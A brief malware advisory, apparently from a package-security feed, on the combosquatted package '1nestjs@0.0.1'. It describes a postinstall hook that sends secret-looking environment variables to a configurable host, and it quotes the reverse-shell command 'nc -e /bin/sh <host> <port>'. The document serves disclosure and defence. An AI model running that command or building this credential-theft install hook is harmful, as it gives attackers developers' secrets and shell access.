1nestjs@0.0.1

Analysis

The package's postinstall hook executes index.js, which collects every environment variable whose name matches SECRET, API, TOKEN, or KEY and sends them over a TCP connection to a host:port read from servers.json (default 127[.]0[.]0[.]1:9999, overridable via TS_HOST/TS_PORT). It then runs `nc -e /bin/sh <host> <port>` to open a reverse shell to the same endpoint. The package name is a combosquat of the legitimate nestjs framework.